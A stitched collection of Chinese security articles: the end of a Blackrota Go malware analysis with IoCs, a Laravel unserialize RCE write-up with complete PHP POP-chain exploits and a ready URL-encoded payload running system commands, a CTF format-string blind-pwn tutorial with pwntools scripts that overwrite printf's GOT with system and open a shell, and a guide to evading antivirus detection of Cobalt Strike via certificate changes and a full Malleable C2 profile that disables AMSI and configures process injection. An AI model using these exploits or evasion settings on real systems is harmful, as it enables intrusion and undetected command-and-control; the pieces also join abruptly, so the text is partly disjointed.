2. 在 IDAPro 中用 [idb2pat.py](https://github.com/fireeye/flare-ida/blob/master/python/flare/idb2pat.py) 来提取 [geacon](https://github.com/darkr4y/geacon) 中函数的 Pattern(geacon.pat)；
3. 用 Flair Tools 中的 sigmake 工具来制作 geacon的 Flirt Signature 文件(geacon.sig)；
4. 在 IDAPro 中向 Blackrota 的样本导入 geacon.sig，识别并恢复函数符号。
大功告成！但还不能高兴太早，因为我们发现 Blackrota的函数符号并没有完全被识别，还有近百个函数没有被 geacon
的符号所覆盖，部分被识别的函数如下：
### Blackrota 中的字符串
其实， [go_parser](https://github.com/0xjiayu/go_parser) 本来是可以解析 Go
二进制文件中的字符串的，它还可以为解析好的字符串创建 Data Reference
到字符串引用的地方，这样逆向二进制文件时，在什么代码处引用了什么字符串就会一目了然。但是我们上面用
[go_parser](https://github.com/0xjiayu/go_parser) 来解析 Blackrota 只看到极个别的 Go
标准库里用到的字符串被解析出来，而 geacon 内部的字符串则没有被解析出来。
问题就出在上面没有被 geacon 的符号所覆盖的函数上面。
通过分析，我们发现 Blackrota 对它内部用到的所有字符串都进行了 XOR 编码处理，并会在运行的时候动态解码字符串再引用。每一个字符串都有一个对应的
XOR 解码函数，此函数解出一串字符并返回，然后解出的字符串会在父函数中被引用。其中的一个 XOR 解码函数关键部分如下图：
## 总结
Go 语言编写的被混淆过的恶意软件很少见，除了个别白帽子简单的尝试，以前只见过2 个：一个是
[@joakimkennedy](https://twitter.com/joakimkennedy) 曝光的只混淆 package main
中函数符号的[勒索软件](https://twitter.com/joakimkennedy/status/1298554039240732672)：
该勒索病毒只简单混淆了 main package 中的几个函数的名字，几乎不会给逆向分析工作带来什么阻力：
另一个是与 Blackrota 用了同样混淆方式的勒索软件 [EKANS](https://www.dragos.com/blog/industry-news/ekans-ransomware-and-ics-operations/)：
From <https://www.dragos.com/blog/industry-news/ekans-ransomware-and-ics-operations/>
Blackrota 与 EKANS 样本的混淆方式，则给逆向分析工作带来新的挑战。随着 Go 语言的流行，将来 Go
语言编写的恶意软件会越来越多，而针对性的对抗也会频频出现。Blackrota 与 EKANS 或许只是一个开始。
## IoCs:
### MD5
e56e4a586601a1130814060cb4bf449b
6e020db51665614f4a2fd84fb0f83778
9ca7acc98c17c6b67efdedb51560e1fa
### C&C
blackrato.ga | 社区文章 |
# Laravel由destrcuct引起的两处反序列化RCE分析
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
laravel本身没有反序列化的调用机制，只有依赖于二次开发或者敏感函数才能触发反序列化。在Laravel5.3以后的版本引入`IlluminateBroadcastingPendingBroadcast.php`文件，存在__destrcut魔法函数引发一系列问题。这里我对框架本身能造成rce的点进行分析，一处是三方组件fzaninotto的回调调用`call_user_func_array`造成的rce，另一处是p神在lumenserial找到laravel核心库的一处任意函数调用。
## Laravel自加载组件fzaninotto组件RCE
### 版本说明
`fzaninotto`在laravel 5.1以后composer默认安装
`autoload_classmap.php`可以看到，在进行依赖加载的时候默认将`/fzaninotto/faker/src/Faker/Generator.php`注册到全局变量`$classmap`中，在程序调用相关类时遵从PSR4的规范，也就是说我们反序列化是可以调用`/fzaninotto/faker/src/Faker/`目录下的任何文件。
### 适用条件
* laravel 5.3-5.8
* 寻找可控的反序列化点，才能触发该漏洞
## 漏洞复现
### 环境搭建
本地搭建laravel最新的环境 5.8.29
构造一个反序列化可控点，在`app/Http/Controllers`文件夹下创建文件TaskController.php，源码如下:
<?php
namespace AppHttpControllers;
class TaskController
{
public function index(){
unserialize($_GET['url']);
}
}
在`routes/web.php`文件中添加这样路由记录
Route::get('/bug', 'TaskController@index');
## 漏洞复现
### EXP
<?php
//exp.php
namespace Faker{
class Generator{
protected $formatters = array();
public function __construct($formatters)
{
$this->formatters = $formatters;
}
}
}
namespace IlluminateBroadcasting{
class PendingBroadcast.php``
{
protected $events;
protected $event;
public function __construct($events, $event)
{
$this->events = $events;
$this->event = $event;
}
}
}
namespace{
$generator = new FakerGenerator(array("dispatch"=>"system"));
$PendingBroadcast = new IlluminateBroadcastingPendingBroadcast($generator,"id");
echo urlencode(serialize($PendingBroadcast));
}
运行exp.php生成poc，如果环境搭建没有问题，直接请求下面的uri既能看到rce效果
bug?url=O%3A40%3A"Illuminate%5CBroadcasting%5CPendingBroadcast"%3A2%3A%7Bs%3A9%3A"%00%2A%00events"%3BO%3A15%3A"Faker%5CGenerator"%3A1%3A%7Bs%3A13%3A"%00%2A%00formatters"%3Ba%3A1%3A%7Bs%3A8%3A"dispatch"%3Bs%3A6%3A"system"%3B%7D%7Ds%3A8%3A"%00%2A%00event"%3Bs%3A2%3A"id"%3B%7D
### EXP流程
在入口设置断点，传入payload
步入`IlluminateFoundationAliasLoader`的load函数，检测要实例的对象是否是laravel注册门面类，这里不满足条件
因此步入`ComposerAutoloadClassLoader`查找相应class对应于vendor中的php文件。也就是上文提到的laravel在加载服务容器时会执行的`autoload_class`作用结果
看到调用栈能够成功读取到`FakerGenerato`文件，并返回给includefile()
载入文件后步入到了反序列化的入口__destruct函数
步入执行dispatch函数，跳转到`vendor/fzaninotto/faker/src/Faker/Generator.php`的call方法
跟进format函数如下图，发现此时的$arguments为可控值即我们序列化传入的$this->event
继续步入看看getFormatter函数的具体实现
public function getFormatter($formatter) # formatter = dispatch
{
if (isset($this->formatters[$formatter])) { # formatters可控
return $this->formatters[$formatter];
}
foreach ($this->providers as $provider) {
if (method_exists($provider, $formatter)) {
$this->formatters[$formatter] = array($provider, $formatter);
return $this->formatters[$formatter];
}
}
throw new InvalidArgumentException(sprintf('Unknown formatter "%s"', $formatter));
}
判断formatters[formatter]存在即返回，然而formatters也是我们可控的，那就能返回任意函数名了。即call_user_func_arrary的函数名和函数值都可控，rce实现～
## Dispatcher处存在任意函数调用
首先还是看一下造成漏洞的点在`vendor/laravel/framework/src/Illuminate/Bus/Dispatcher.php`，允许我们使用`call_user_func`进行任意函数调用，且参数可控。
接着我们从源头追pop。入口方法依然在`vendor/laravel/framework/src/Illuminate/Broadcasting/PendingBroadcast.php`中，__destrcut执行dispatch函数
这次全局搜索哪些类存在dispatch函数，正好dispatcher本身中就存在，而且调用到了漏洞触发函数`dispatchToQueue`去执行`call_user_func`
这里首先进行了如下条件判断
$this->queueResolver && $this->commandShouldBeQueued($command)
跟进`commandShouldBeQueued`发现command参数必须是继承自
`ShouldQueue`接口的对象才能进入判断，这点我们可以通过序列化控制$command为对象。
只需要全局搜一下哪个类实现了`ShouldQueue`接口，这里使用`BroadcastEvent`
判断走通回到dispather，进行函数`dispatchToQueue`调用，`$connection`参数取自`$command`的connection属性
但是`BroadcastEvent`没有connection属性。不过没有关系，我们自己序列化可以给类添加任何想要的属性。因为反序列化的时候不执行该类__contrust，自然也不会在`BroadcastEvent`中报错。
流程就这么简单，构造每个类的属性，让条件走通就行了。构造的exp
<?php
namespace IlluminateBroadcasting{
class PendingBroadcast
{
protected $events;
protected $event;
public function __construct($events, $event)
{
$this->events = $events;
$this->event = $event;
}
}
class BroadcastEvent
{
protected $connection;
public function __construct($connection)
{
$this->connection = $connection;
}
}
}
namespace IlluminateBus{
class Dispatcher{
protected $queueResolver;
public function __construct($queueResolver)
{
$this->queueResolver = $queueResolver;
}
}
}
namespace{
$command = new IlluminateBroadcastingBroadcastEvent("whoami");
$dispater = new IlluminateBusDispatcher("system");
$PendingBroadcast = new IlluminateBroadcastingPendingBroadcast($dispater,$command);
echo urlencode(serialize($PendingBroadcast));
}
只不过是没有回显，需要我们可以外带出去，这里调试的结果成功执行system获取whoami为hpdoger | 社区文章 |
# 【技术分享】格式化字符串漏洞利用小结（二）
|
##### 译文声明
本文是翻译文章，文章来源：安全客
译文仅供参考，具体内容表达以及含义原文为准。
****
****
作者：[tianyi201612](http://bobao.360.cn/member/contribute?uid=2802113352)
稿费：300RMB
投稿方式：发送邮件至linwei#360.cn，或登陆网页版在线投稿
**
**
**传送门**
[**【技术分享】格式化字符串漏洞利用小结（一）**](http://bobao.360.cn/learning/detail/3654.html)
[**【CTF攻略】格式化字符串blind pwn详细教程** ****
****](http://bobao.360.cn/ctf/detail/189.html)
**1、无binary的格式化字符串漏洞利用**
无binary的格式化字符串漏洞赛题一般都只给一个远程地址，根据这篇文章（<http://bobao.360.cn/ctf/detail/189.html>
）可知，这种题目叫“blind pwn”（那这里就是“blind formatstring”了），有点sql注入里面盲注的意思，挺好玩的。
这里选用sharifCTF7来举例，因为这个CTF的服务端至今还开放着，并且提供了三道从易到难的无binary格式化字符串漏洞利用题目，有兴趣的可以尝试一下。这三道题目也将格式化字符串漏洞利用的两种主要方式体现了出来，即“读取数据以泄漏信息”和“写入数据以获取控制权”。
**
**
**2、sharifCTF7-Guess（pwn 50）**
* * *
nc ctf.sharif.edu 54517
这题是将flag直接放置在栈中，用户可以输入format字符串并返回相应信息。通过构造类似“%x*n”这样的输入即可获得栈中的n字节信息，从而将隐藏在栈中的flag直接拿到。
通过输入%1$p可知目标系统是64位，然后使用%k$lx并一直增加k值。当k=136时，输出5443666972616853，hex转码后即为“TCfirahS”，说明马上就到flag了，继续增加k，结果如下。
136 5443666972616853 TCfirahS
137 3832346435617b46 824d5a{F
138 6237636363323336 b7ccc236
139 6136633735336466 a6c753df
140 3561383761383231 5a87a821
141 00007ff6007d6338 }c8
Flag：SharifCTF{a5d428632ccc7bfd357c6a128a78a58c}
**3、sharifCTF7-NoMoreBlind（pwn 200）**
* * *
nc ctf.sharif.edu 54514
这题可以无限次输入字符串，每次均可得到反馈。通过输入“%3$p%4$p”进行测试，我们可以确定目标系统是32bit的，且偏移为4。本题的flag不在栈上，需要通过getshell来寻找，主要思路如下：
通过格式化字符串漏洞，利用%s将目标ELF文件dump出来；
分析并修复返回的ELF文件；
通过逆向ELF文件，了解程序的基本流程以及所用libc函数的GOT以获得system函数的实际地址；
将system函数地址写入printf函数的GOT表项处；
通过输入“/bin/sh”，利用已被改为system地址的printf来获得shell。
**3.1 利用格式化字符串漏洞dump出ELF**
先给出代码吧，此代码修改自其他人的，特此说明。
from pwn import *
def leakELF(addr):
p = None
for i in range(5): #多循环几次，放置连接中断
try:
p = remote("ctf.sharif.edu", 54518, timeout=1)
payload = "ABCD%7$sDCBA" + p32(addr)
if ("x0a" in payload) or ("x00" in payload):
log.warning("newline in payload!")
return "xff"
p.sendline(payload)
print p.recvline()
data2 = p.recvline()
log.info(hexdump(data2))
if data2:
fr = data2.find("ABCD") + 4
to = data2.find("DCBA")
res = data2[fr:to] #定位出泄漏的数据位置
if res == "": #说明要泄漏的数据就是x00
return "x00"
else:
return res
return "xff" #如果出现异常，先返回xff
except KeyboardInterrupt:
raise
except EOFError:
log.debug("got EOF for leaking addr 0x{:x}".format(addr))
pass
except Exception:
log.warning("got exception...", exc_info = sys.exc_info())
finally:
if p:
p.close()
return "xff"
f = open("nomoreblind-binary", "wb")
base = 0x08048000
leaked = ""
while len(leaked) < 8000: #假设目标ELF小于8kb
address = base + len(leaked) #新的泄露地址等于基地址加上已泄漏的长度
tmp = leakELF(address)
leaked += tmp
log.info(hexdump(leaked))
with open("nomoreblind-binary", "wb") as f: #将已泄漏的数据写入文件
f.write(leaked)
由于是32bit程序，一般起始于0x08048000，故我们将此处设置为泄漏的起始地址。泄漏的方式就是利用格式化字符参数%s，payload是"ABCD%7$sDCBA"+p32(addr)，ABCD和DCBA是为了定位返回的数据位置，而我们要泄漏信息的地址（即p32(addr)）位于偏移位置7。我们这里假设目标elf大小是8kb，其实没有那么大，视情终止即可。在上面的代码中，我们通过自定义的leakELF函数，每次泄漏一段数据，并记录数据长度，以便下次从该长度之后继续泄漏。代码中还需要解释的几点是：
leakELF中的for循环是为了防止连接服务器出错，毕竟要泄漏的数据量较大；
如果payload中出现0x0a，则会造成截断（接收函数是fgets），直接返回none；
如果返回的ABCD与DCBA之间没数据，则设置返回数据为x00；
如果直接出现异常或无返回，则设置返回数据为xff。
整个泄漏的时间会比较长，慢慢等吧，大概到4kb左右的时候，其实就已经完成了，因为出现了新的ELF头（x7f454c46）。这个其实没有特别的标志，只能说毕竟是比赛，binary不会太大，感觉差不多，拿出来分析一下就知道了。
**3.2 修复ELF文件**
由于我们在dump脚本中填补了一些xff，故需要大概修补一下，比如文件的第一个字节，就要从xff改为x7f。通过010Editor的ELF文件模板，我们可以比较方便地修补ELF文件。涉及到ELF文件格式的问题，这里就不多说了，大家可以参考其他文章，主要把文件头修改好就差不多了。当然，修改了之后也是不能运行的，毕竟从内存中dump出来的ELF与可执行文件在区段大小等方面还是不一样的。
**3.3 逆向ELF文件**
上面的ELF文件已经可以借助IDA进行逆向了，F5后得到的伪代码如下。
上面就是main函数，虽然并没有把所有库函数名称都关联出来，但主程序毕竟很短，很容易猜出逻辑关系。程序首先利用setvbuf函数设置了输入输出，然后设置alarm函数参数为60秒；进入while无限循环后，用fgets来接收输入，并用printf进行输出。
结合汇编代码以及ELF中的函数名字符串（fflush、exit、printf、fgets、strlen、alarm、setvbuf），我们就能将它们对应起来，比如：
setvbuf：plt是0x08048490，got是0x08049980（在IDA中跳到sub_08048490即知）；
alarm：plt是0x08048440，got是0x0804996c；
printf：plt是0x08048400，got是0x0804995c。
**3.4 获取libc函数地址**
本题既没有提供程序的binary，更没有提供对应的libc文件。在这种情况下，我知道的方法有两种：
采用DynELF暴力搜索
利用libcdatabase或libdb查询
我参考的writeup作者就是用的第一种方法，但我始终没成功，即使和作者沟通后得到了他的脚本也不行，感觉是网络连接不稳定；而第二种方法更是没有达到目的，应该是由于内置的libc库文件不全导致的。
考虑到第一种方法中，pwntools其实也是通过获取目标libc中的特征字符串来比对自身服务器中的libc文件以确定版本，那是不是可以干脆将pwntools所依赖的所有libc库文件都下载下来，然后再借鉴第二种方法，将这些库文件导入到libcdatabase中，利用该工具已有的功能，通过GOT表泄漏的libc库函数地址的后12bit来缩小并确定版本范围呢？
按照这个思路，我首先写了个脚本，根据pwntools中的md5文档（https://gitlab.com/libcdb/libcdb/tree/master/hashes）将对应的libc文件都下载了下来。截至目前所有pwntools中的libc文件url我也保存在了附件中，共6000多个。当然，pwntools中的libc库也是动态更新的，未来还会添加新的libc文件，大家可以继续搜索并扩充至自己本地。
然后，我使用libcdatabase内置的add功能脚本，将上述所有libc文件都导入了进去。由于该功能会解析每个libc文件，故时间比较长，但一劳永逸，以后就可以直接用find功能脚本来快速查找比对了。当然，如果有哪些libc文件没有导入进去，我们也可以直接用pwntools的ELF模块来解析并比对后12bit。
通过以上工作，结合泄漏出来的printf函数实际地址的后12bit（即0xc70），我们可以匹配到很多libc文件，如下图所示，如libc6-i386-2.19-18+deb8u3-lib32-libc-2.19.so；再用alarm等其他库函数的后12bit进一步校正，即可获知最终版本，从而获取到相应偏移，具体见下面的代码。
**3.5 获取shell**
得到了libc版本，我们就可以确定各个库函数的偏移，从而可以得到system函数地址，并借助格式化字符串漏洞用其替换掉目标程序GOT表中的printf地址。当目标程序进入下一次循环后，我们用“/bin/sh”作为输入，由于此时printf的GOT地址处其实保存的是system函数地址，则调用printf(“/bin/sh”)时，其实就是调用的system(“/bin/sh”)，shell也就获取到了。
通过《格式化字符串漏洞利用小结（一）》，我们比较深入的理解了格式化字符串漏洞的原理与手工构造payload的方法。这时，也可以通过pwntools的fmtstr_payload功能来简化格式化字符串漏洞利用，不用再自己一点一点小心地构造payload，而交给pwntools来自动完成。
具体使用的就是如下函数。
fmtstr_payload(offset, writes, numbwritten=0, write_size='byte')
第一个参数表示格式化字符串的偏移，这里已经知道是4；
第二个参数表示需要利用%n写入的数据，采用字典形式，我们要将printf的GOT数据改为system函数地址，就写成{printfGOT:
systemAddress}；
第三个参数表示已经输出的字符个数，这里没有，为0，采用默认值即可；
第四个参数表示写入方式，是按字节（byte）、按双字节（short）还是按四字节（int），对应着hhn、hn和n，默认值是byte，即按hhn写。
fmtstr_payload函数返回的就是payload，具体结果你可以print出来看看，和你自己手工构造的一不一样。
以下就是具体的利用代码。
from pwn import *
import binascii
p = remote("ctf.sharif.edu", 54518, timeout=1)
printfGOT = 0x0804995c
printfOffset = 0x4cc70
systemOffset = 0x3e3e0
p.sendline("%5$s" + p32(printfGOT))
print p.recvline()
data = p.recv()
printfAddress = data[0:4][::-1]
printfAddress = int(binascii.hexlify(printfAddress),16)
systemAddress = printfAddress - printfOffset + systemOffset
print "printf:", hex(printfAddress)
print "system:", hex(systemAddress)
payload = fmtstr_payload(4, {printfGOT: systemAddress})
p.sendline(payload)
print p.recvline()
print p.recv()
p.sendline("/bin/sh")
print p.recvline()
p.interactive()
**4、参考文章**
* * *
[http://bobao.360.cn/ctf/detail/189.html](http://bobao.360.cn/ctf/detail/189.html)
[https://losfuzzys.github.io/writeup/2016/12/18/sharifctf7-guess-persian-nomoreblind/](https://losfuzzys.github.io/writeup/2016/12/18/sharifctf7-guess-persian-nomoreblind/)
[https://github.com/irGeeks/ctf/tree/master/2016-SharifCTF7](https://github.com/irGeeks/ctf/tree/master/2016-SharifCTF7)
**5、附件**
* * *
<https://pan.baidu.com/s/1kV5aqsn>
**传送门**
* * *
[**【技术分享】格式化字符串漏洞利用小结（一）**](http://bobao.360.cn/learning/detail/3654.html)
[**【CTF攻略】格式化字符串blind pwn详细教程**](http://bobao.360.cn/ctf/detail/189.html) | 社区文章 |
# cs修改流量特征
# 0x00 前言
这段时间在搞内网渗透方面的知识，小声哔哔：才不是ctf打不动了
既然在学内网渗透方向的东西，那就免不了要和网络配置还有msf、cs等的这种内网渗透神器了。但是在学习之间，因为顺便接触了一下免杀，虽然因为自己水平不行，了解了一下就不搞了，但是还是发现了一些问题的。就比如你用cs生成的payload去搞其他的主机，主机上如果有杀软的话，是会给警告的，因为cs的流量特征等的所有信息已经被各大厂商给记死了。
我就在想，有没有办法去修改一下cs的各项特征，让杀软不那么直接识别出来cs。于是就有了这一篇文章的记录
# 0x01 正文
## step 1 修改cs服务端的默认端口
cs默认的服务端口是50050，这也就使得厂商对于这种端口的流量显得格外关注，基本上就是有去无回了，所以对于这个咱们可以修改他的启动服务端的服务端口。具体操作为
vi teamserver
这种类似图中的就可以。此时去启动服务端
启动服务端口已经修改
## step 2 修改证书文件特征
在很久很久之前的厂商在上面的基础上会再次验证一下该服务的证书颁发信息，如果有cs特征的信息就会杀掉，在之前的默认证书里面，cs的特征信息还是很明显的
别名: cobaltstrike
创建日期: 2021年12月11日
条目类型: PrivateKeyEntry
证书链长度: 1
证书[1]:
所有者: CN=Major Cobalt Strike, OU=AdvancedPenTesting, O=cobaltstrike, L=Somewhere, ST=Cyberspace, C=Earth
发布者: CN=Major Cobalt Strike, OU=AdvancedPenTesting, O=cobaltstrike, L=Somewhere, ST=Cyberspace, C=Earth
序列号: 4625e987
生效时间: Sat Dec 11 22:40:08 CST 2021, 失效时间: Fri Mar 11 22:40:08 CST 2022
证书指纹:
SHA1: 81:F1:B0:EB:AD:E7:58:E9:80:4F:A1:8A:FF:A1:2E:42:A4:74:F8:75
SHA256: 9A:DB:44:6C:A6:DC:F6:85:CC:D0:F6:00:D5:0F:CA:6F:57:65:36:D9:71:6A:F4:E1:0D:6A:45:A2:27:FF:02:A5
签名算法名称: SHA256withRSA
主体公共密钥算法: 2048 位 RSA 密钥
可以看到好多地方都存在特征信息，所以在这种情况下咱们就可以修改证书的特征信息，这里给出payload
这里可以直接使用Java自带的keytool工具进行证书的颁发，命令格式为
keytool -keystore xxx.store --storepass password -keypass password -genkey -keyalg 加密方式 -alias 别名 -dname "证书颁发机构信息"
这里给出我自己的证书颁发的信息
keytool -keystore cobaltStrike.store -storepass 123456 -keypass 123456 -genkey -keyalg RSA -alias baidu.com -dname "CN=ZhongGuo, OU=CC, O=CCSEC, L=BeiJing, ST=ChaoYang, C=CN"
之后就可以看到证书特征信息已经被修改
别名: baidu.com
创建日期: 2021年12月11日
条目类型: PrivateKeyEntry
证书链长度: 1
证书[1]:
所有者: CN=ZhongGuo, OU=CC, O=CCSEC, L=BeiJing, ST=ChaoYang, C=CN
发布者: CN=ZhongGuo, OU=CC, O=CCSEC, L=BeiJing, ST=ChaoYang, C=CN
序列号: 398cdab0
生效时间: Sat Dec 11 22:43:20 CST 2021, 失效时间: Fri Mar 11 22:43:20 CST 2022
证书指纹:
SHA1: 6F:42:E3:5A:2C:0B:48:1A:D5:FB:D4:10:37:A2:79:97:AD:89:1F:81
SHA256: DB:83:41:58:73:99:91:5C:FB:F1:A9:75:F4:F7:CC:8F:7F:6C:3F:79:86:32:BF:4E:07:B8:8E:E1:82:90:CC:B7
签名算法名称: SHA256withRSA
主体公共密钥算法: 2048 位 RSA 密钥
## step 3 设置混淆配置文件
这个方法是很早之前我一个全栈爷学长给我提到的，当时处于好奇问了爷一个贼sb的问题，爷不知道怎么回答我就给我提到了一个c2插件
这里给出github的链接
https://github.com/xx0hcd/Malleable-C2-Profiles/tree/master/normal
https://github.com/threatexpress/malleable-c2
这是已经写好的插件的配置，到时间只需要把里面的参数信息修改一下就可以了
cs官网给出的配置文件编写指南
https://www.cobaltstrike.com/help-malleable-c2
官方也给出了一个可修改的配置文件
https://github.com/rsmudge/Malleable-C2-Profiles
这里我当时贼sb，我当时好像脑子抽了，以为可以直接拿来用，就满脸轻松的拿来用，结果就有了下面的结果
以及好多个数不清的尝试，刚开始的我以为是这个插件和我用的cs版本不适配造成的，真天真，人不行就怪路不平，后来去看了一下插件的配置内容才发现，卧槽这™我需要改东西，啊？就很尴尬，还去麻烦了我团队俩web爷问原因，真是菜了，修改了文件里的证书信息以及证书的名字密码之后，还是这些报错，那就直接注释掉，神奇的事情来了，可以了，amazing，真是玄学问题
然后去启动抓包看一下流量
启动命令
./teamserver ip password 配置文件路径
看到流量确实已经改了
然后在这里的话简单说一下配置文件的格式
给一个简单的例子
#This profile is meant to show all of the options available in Malleable C2
#Various options
# Append random-length string (up to data_jitter value) to http-get and http-post server output
set sample_name "Test Profile";
#set data_jitter "0";
set dns_idle "0.0.0.0";
set dns_max_txt "252";
set dns_sleep "0";
set dns_stager_prepend "";
set dns_stager_subhost ".stage.123456.";
set dns_ttl "1";
set host_stage "true"; #Host payload for staging over set, setS, or DNS. Required by stagers.
set jitter "0";
set maxdns "255";
set pipename "msagent_###"; #Default name of pipe to use for SMB Beacon’s peer-to-peer communication. Each # is replaced witha random hex value.
set pipename_stager "status_##";
set sleeptime "60000"; #def sleep in ms
#set smb_frame_header "";
#set ssh_banner "Cobalt Strike 4.2";
#set ssh_pipename "postex_ssh_####";
#set tcp_frame_header "";
set tcp_port "4444";
# Defaults for ALL CS set server responses
http-config {
set headers "Date, Server, Content-Length, Keep-Alive, Connection, Content-Type";
header "Server" "Apache";
header "Keep-Alive""timeout=5, max=100";
header "Connection""Keep-Alive";
# The set trust_x_forwarded_foroption decides if Cobalt Strike uses the
# X-Forwarded-For set header to determine the remote address of a request.
# Use this option if your Cobalt Strike server is behind an set redirector
set trust_x_forwarded_for "true";
}
https-certificate {
set C "CN"; #Country
set CN "zhongguo"; # CN - you will probably nver use this, but don't leave at localost
set L "BeiJing"; #Locality
set OU "CC"; #Org unit
set O "CCSEC"; #Org name
set ST "ChaoYang"; #State
set validity "365";
# if using a valid vert, specify this, keystore = java keystore
set keystore "cobaltstrike.store";
set password "123456";
}
#If you have code signing cert:
#code-signer {
# set keystore "keystore.jks";
# set password "password";
# set alias "server";
# set timestamp "false";
# set timestamp_url "set://timestamp.digicert.com";
#}
#Stager is only supported as a GET request and it will use AFAICT the IE on Windows.
http-stager {
set uri_x86 "/api/v1/GetLicence";
set uri_x64 "/api/v2/GetLicence";
client {
parameter "uuid" "96c5f1e1-067b-492e-a38b-4f6290369121";
#header "headername" "headervalue";
}
server {
header "Content-Type" "application/octet-stream";
header "Content-Encoding" "gzip";
output {
#GZIP headers and footers
prepend "\x1F\x8B\x08\x08\xF0\x70\xA3\x50\x00\x03";
append "\x7F\x01\xDD\xAF\x58\x52\x07\x00";
#AFAICT print is the only supported terminator
print;
}
}
}
#This is used only in http-get and http-post and not during stage
set useragent "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like Gecko";
# define indicators for an set GET
http-get {
# we require a stub URI to attach the rest of our data to.
set uri "/api/v1/Updates";
client {
header "Accept-Encoding" "deflate, gzip;q=1.0, *;q=0.5";
# mask our metadata, base64 encode it, store it in the URI
metadata {
# XOR encode the value
mask;
# URL-safe Base64 Encode
#base64url;
# URL-safe Base64 Encode
base64;
# NetBIOS Encode ‘a’ ?
#netbios;
#NetBIOS Encode ‘A’
#netbiosu;
# You probably want these to be last two, else you will encode these values
# Append a string to metadata
append ";" ;
# Prepend a string
prepend "SESSION=";
# Terminator statements - these say where the metadata goes
# Pick one
# Append to URI
#uri-append;
#Set in a header
header "Cookie";
#Send data as transaction body
#print
#Store data in a URI parameter
#parameter "someparam"
}
}
server {
header "Content-Type" "application/octet-stream";
header "Content-Encoding" "gzip";
# prepend some text in case the GET is empty.
output {
mask;
base64;
prepend "\x1F\x8B\x08\x08\xF0\x70\xA3\x50\x00\x03";
append "\x7F\x01\xDD\xAF\x58\x52\x07\x00";
print;
}
}
}
# define indicators for an set POST
http-post {
set uri "/api/v1/Telemetry/Id/";
set verb "POST";
client {
# make it look like we're posting something cool.
header "Content-Type" "application/json";
header "Accept-Encoding" "deflate, gzip;q=1.0, *;q=0.5";
# ugh, our data has to go somewhere!
output {
mask;
base64url;
uri-append;
}
# randomize and post our session ID
id {
mask;
base64url;
prepend "{version: 1, d=\x22";
append "\x22}\n";
print;
}
}
# The server's response to our set POST
server {
header "Content-Type" "application/octet-stream";
header "Content-Encoding" "gzip";
# post usually sends nothing, so let's prepend a string, mask it, and
# base64 encode it. We'll get something different back each time.
output {
mask;
base64;
prepend "\x1F\x8B\x08\x08\xF0\x70\xA3\x50\x00\x03";
append "\x7F\x01\xDD\xAF\x58\x52\x07\x00";
print;
}
}
}
stage {
# The transform-x86 and transform-x64 blocks pad and transform Beacon’s
# Reflective DLL stage. These blocks support three commands: prepend, append, and strrep.
transform-x86 {
prepend "\x90\x90";
strrep "ReflectiveLoader" "DoLegitStuff";
}
transform-x64 {
# transform the x64 rDLL stage, same options as with
}
stringw "I am not Beacon";
#set allocator "MapViewOfFile"; # HeapAlloc,MapViewOfFile, and VirtualAlloc.
set cleanup "true"; # Ask Beacon to attempt to free memory associated with
# the Reflective DLL package that initialized it.
# Override the first bytes (MZ header included) of Beacon's Reflective DLL.
# Valid x86 instructions are required. Follow instructions that change
# CPU state with instructions that undo the change.
# set magic_mz_x86 "MZRE";
# set magic_mz_x86 "MZAR";
#set magic_pe "PE"; #Override PE marker with something else
# Ask the x86 ReflectiveLoader to load the specified library and overwrite
# its space instead of allocating memory with VirtualAlloc.
# Only works with VirtualAlloc
#set module_x86 "xpsservices.dll";
#set module_x64 "xpsservices.dll";
# Obfuscate the Reflective DLL’s import table, overwrite unused header content,
# and ask ReflectiveLoader to copy Beacon to new memory without its DLL headers.
set obfuscate "false";
# Obfuscate Beacon, in-memory, prior to sleeping
set sleep_mask "false";
# Use embedded function pointer hints to bootstrap Beacon agent without
# walking kernel32 EAT
#set smartinject "true";
# Ask ReflectiveLoader to stomp MZ, PE, and e_lfanew values after
# it loads Beacon payload
set stomppe "true";
# Ask ReflectiveLoader to use (true) or avoid RWX permissions (false) for Beacon DLL in memory
set userwx "false";
# PE header cloning - see "petool", skipped for now
#set compile_time "14 Jul 2018 8:14:00";
# set image_size_x86 "512000";
# set image_size_x64 "512000";
set entry_point "92145";
#The Exported name of the Beacon DLL
#set name "beacon.x64.dll"
#set rich_header # I don't understand this yet TODO: fixme
#TODO: add examples process-inject
}
process-inject {
# set how memory is allocated in a remote process
# VirtualAllocEx or NtMapViewOfSection. The
# NtMapViewOfSection option is for same-architecture injection only.
# VirtualAllocEx is always used for cross-arch memory allocations.
set allocator "VirtualAllocEx";
# shape the memory characteristics and content
set min_alloc "16384";
set startrwx "true";
set userwx "false";
transform-x86 {
prepend "\x90\x90";
}
transform-x64 {
# transform x64 injected content
}
# determine how to execute the injected code
execute {
CreateThread "ntdll.dll!RtlUserThreadStart";
SetThreadContext;
RtlCreateUserThread;
}
}
post-ex {
# control the temporary process we spawn to
set spawnto_x86 "%windir%\\syswow64\\WerFault.exe";
set spawnto_x64 "%windir%\\sysnative\\WerFault.exe";
# change the permissions and content of our post-ex DLLs
set obfuscate "true";
# change our post-ex output named pipe names...
#set pipename "msrpc_####, win\\msrpc_##";
# pass key function pointers from Beacon to its child jobs
set smartinject "true";
# disable AMSI in powerpick, execute-assembly, and psinject
set amsi_disable "true";
#The thread_hint option allows multi-threaded post-ex DLLs to spawn
# threads with a spoofed start address. Specify the thread hint as
# “module!function+0x##” to specify the start address to spoof.
# The optional 0x## part is an offset added to the start address.
# set thread_hint "....TODO:FIXME"
# options are: GetAsyncKeyState (def) or SetWindowsHookEx
#set keylogger "GetAsyncKeyState";
}
在文件的开头利用set来设置默认值，存在全局和本地两个选项
sleeptime为设置心跳包时间，单位为毫秒；jitter为默认的抖动因子（0-99%）；maxdns为通过DNS上传数据时的主机名最大长度（0-255）；useragent为设置http通信使用的用户代理。ua可以通过浏览器抓包进行修改，后面的http-get和http-post一般有着一个通用格式
protocol-transaction {
set local_option "value";
client {
# customize client indicators
}
server {
# customize server indicators
}
}
开头的protocol-transaction即为具体使用的http方法，client与server就是对http中的request与response的具体配置，header指定具体的http请求头与相应头信息。
metadata {
# XOR encode the value
mask;
# URL-safe Base64 Encode
#base64url;
# URL-safe Base64 Encode
base64;
# NetBIOS Encode ‘a’ ?
#netbios;
#NetBIOS Encode ‘A’
#netbiosu;
# You probably want these to be last two, else you will encode these values
# Append a string to metadata
append ";" ;
# Prepend a string
prepend "SESSION=";
# Terminator statements - these say where the metadata goes
# Pick one
# Append to URI
#uri-append;
